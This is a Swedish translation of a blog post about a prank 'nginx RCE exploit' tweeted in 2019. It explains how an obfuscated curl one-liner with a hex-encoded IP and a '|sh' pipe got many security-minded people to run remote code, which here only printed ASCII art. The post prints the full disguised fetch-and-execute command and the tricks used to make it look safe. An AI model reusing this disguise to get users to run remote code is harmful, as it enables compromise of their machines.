{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Framg\u00e5ngen med det sociala experimentet med en f\u00f6rfalskad exploit f\u00f6r nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Obs. \u00f6vers.<\/b>: F\u00f6rfattare<\/a><\/noindex> I den ursprungliga anteckningen, publicerad den 1 juni, best\u00e4mde jag mig f\u00f6r att genomf\u00f6ra ett experiment i en milj\u00f6 av intresserade av informationss\u00e4kerhet. F\u00f6r detta f\u00f6rberedde jag en falsk exploit f\u00f6r en \u00e4nnu icke offentliggjord s\u00e5rbarhet i en webbserver och postade den p\u00e5 min Twitter. Mina antaganden \u2014 att bli genast avsl\u00f6jad av experter som skulle se den uppenbara bluffen i koden \u2014 visade sig inte bara vara felaktiga\u2026 De \u00f6vertr\u00e4ffade alla f\u00f6rv\u00e4ntningar, i motsatt riktning: tweeten fick enormt st\u00f6d fr\u00e5n m\u00e5nga m\u00e4nniskor som inte tog sig tid att kontrollera inneh\u00e5llet.<\/i><\/p>\n

\"Framg\u00e5ngen
\n
\nTL;DR: anv\u00e4nd aldrig filpipeline i sh eller bash. Det \u00e4r ett utm\u00e4rkt s\u00e4tt att f\u00f6rlora kontrollen \u00f6ver datorn.<\/b><\/a><\/noindex><\/p>\n

Jag vill dela med mig av en liten historia om en sk\u00e4mtsamt PoC-exploit som skapades den 31 maj. Den d\u00f6k snabbt upp som svar p\u00e5 nyheten fr\u00e5n Alisa Esage Shevchenko<\/a><\/noindex>, medlem av Zero Day Initiative<\/a><\/noindex> (ZDI), om att information om en s\u00e5rbarhet i NGINX som leder till RCE (fj\u00e4rrkodexekvering) snart skulle offentligg\u00f6ras. Eftersom NGINX ligger till grund f\u00f6r m\u00e5nga webbplatser, borde nyheten ha haft effekten av en bomb. Men p\u00e5 grund av f\u00f6rseningar i processen f\u00f6r \"ansvarsfull offentligg\u00f6ring\" var detaljerna om h\u00e4ndelsen ok\u00e4nda \u2014 s\u00e5dan \u00e4r standardprocessen f\u00f6r ZDI.<\/p>\n

\"Framg\u00e5ngen
\nTweet<\/a><\/noindex> om avsl\u00f6jandet av en s\u00e5rbarhet i NGINX<\/i><\/p>\n

N\u00e4r jag avslutade arbetet med en ny teknik f\u00f6r obfuskering i curl, citerade jag den ursprungliga tweeten och \"sl\u00e4ppte en fungerande PoC\", best\u00e5ende av en rad kod som p\u00e5st\u00e5s anv\u00e4nda den uppt\u00e4ckta s\u00e5rbarheten. Sj\u00e4lvklart var detta helt nonsens. Jag trodde att jag skulle bli avsl\u00f6jad direkt, och att jag i b\u00e4sta fall skulle f\u00e5 n\u00e5gra retweets (och det skulle vara okej).<\/p>\n

\"Framg\u00e5ngen
\nTweet<\/a><\/noindex> med den falska exploiten<\/i><\/p>\n

Men jag kunde inte f\u00f6rest\u00e4lla mig vad som skulle h\u00e4nda h\u00e4rn\u00e4st. Popul\u00e4riteten f\u00f6r min tweet sk\u00f6t i h\u00f6jden. Otroligt nog, vid den h\u00e4r tidpunkten (15:00 MSK den 1 juni) har fortfarande f\u00e5 insett att detta \u00e4r en bluff. M\u00e5nga retweetar den helt utan kontroll (f\u00f6r att inte tala om att njuta av den vackra ASCII-grafiken som den visar).<\/p>\n

\"Framg\u00e5ngen
\nTitta bara p\u00e5 vilken sk\u00f6nhet!<\/i><\/p>\n

\u00c4ven om alla dessa cykler och f\u00e4rger \u00e4r fantastiska, \u00e4r det uppenbart: f\u00f6r att se dem, k\u00f6rde folk koden p\u00e5 sina maskiner. Lyckligtvis fungerar webbl\u00e4sare p\u00e5 liknande s\u00e4tt, och med det faktum att jag inte beh\u00f6ver n\u00e5gra lagliga problem, gjorde koden g\u00f6md p\u00e5 min webbplats bara echo-anrop, utan att f\u00f6rs\u00f6ka installera eller k\u00f6ra n\u00e5gon ytterligare kod.<\/p>\n

En liten avstickare: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, jag och killarna i teamet Thugcrowd<\/a><\/noindex> har under en tid lekt med olika s\u00e4tt att obfuscera curl-kommandon, f\u00f6r att det \u00e4r roligt\u2026 och vi \u00e4r n\u00f6rdar. netspooky och dnz har uppt\u00e4ckt n\u00e5gra nya s\u00e4tt som verkade mycket lovande. Jag gick med i n\u00f6jet och f\u00f6rs\u00f6kte l\u00e4gga till IP-decimala konverteringar till trickset. Det visade sig att IP \u00e4ven kan konverteras till hexadecimalt format. Dessutom gillar curl och de flesta andra NIX-verktyg att \"\u00e4ta\" hexadecimala IP! S\u00e5 det var helt enkelt n\u00f6dv\u00e4ndigt att skapa en \u00f6vertygande och s\u00e4kert utseende kommandorad. Till slut fastnade jag f\u00f6r denna:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OR-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Social engineering (S.E.E.) \u2013 mer \u00e4n bara phishing<\/h2>\n
\nS\u00e4kerhet och bekantskap var en central del av detta experiment. Jag tror att det var just dessa faktorer som bidrog till dess framg\u00e5ng. Kommandoraden antydde tydligt s\u00e4kerhet, genom att referera till \"127.0.0.1\" (den v\u00e4lk\u00e4nda localhost). Det anses att localhost \u00e4r s\u00e4kert, och att data d\u00e4r aldrig l\u00e4mnar din dator.<\/p>\n
Bekantskap var den andra nyckelkomponenten i S.E.E. i experimentet. Eftersom m\u00e5lgruppen huvudsakligen bestod av personer som var bekanta med grunderna i dators\u00e4kerhet, var det viktigt att skapa kod vars delar verkade bekanta och v\u00e4lk\u00e4nda (och d\u00e4rf\u00f6r s\u00e4kra). Att l\u00e5na element fr\u00e5n gamla exploits-koncept och kombinera dem p\u00e5 ett ovanligt s\u00e4tt visade sig vara mycket framg\u00e5ngsrikt.<\/p>\n
Nedan f\u00f6ljer en detaljerad genomg\u00e5ng av enradaren. Allt i denna lista \u00e4r kosmetiskt<\/b>, och praktiskt taget ingenting kr\u00e4vs f\u00f6r dess verkliga funktion.<\/i><\/p>\n
Vilka komponenter \u00e4r faktiskt n\u00f6dv\u00e4ndiga? Det \u00e4r -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> och sj\u00e4lva webbservern. Webbservern inneh\u00f6ll inga skadliga instruktioner, utan \u00f6verf\u00f6rde bara ASCII-grafik med hj\u00e4lp av kommandon echo<\/code> i skriptet som finns i index.html<\/code>. N\u00e4r en anv\u00e4ndare angav en str\u00e4ng med |sh<\/code> i mitten, index.html<\/code> laddades och exekverades. Lyckligtvis hade webbserverns f\u00f6rvaltare inga onda avsikter.<\/p>\n